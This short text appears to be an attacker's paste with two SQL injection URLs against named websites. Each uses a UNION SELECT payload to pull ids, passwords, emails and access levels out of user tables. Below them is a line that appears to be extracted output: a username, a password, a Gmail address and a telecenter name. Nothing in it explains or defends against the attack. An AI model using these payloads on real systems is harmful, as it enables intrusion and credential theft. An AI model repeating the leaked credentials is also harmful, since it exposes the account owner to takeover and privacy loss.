http://www.neiljenkins.com/opera.php?op=-1'+union+select+1,2,3,concat_ws(0x3a3a,id,password ,email,level),5,6,7+from+users+--+&id=opera1

http://www.enrd.org/publications.php?id=-3+union+select+1,2,concat_Ws(0x3a3a,tcuser,tcpass, email,tcid,tcname),4,5,6,7+from+tbltelecenter--
rajukhanal::rainakhanal::mahabir@gmail.com::1::Gho repani Telecenter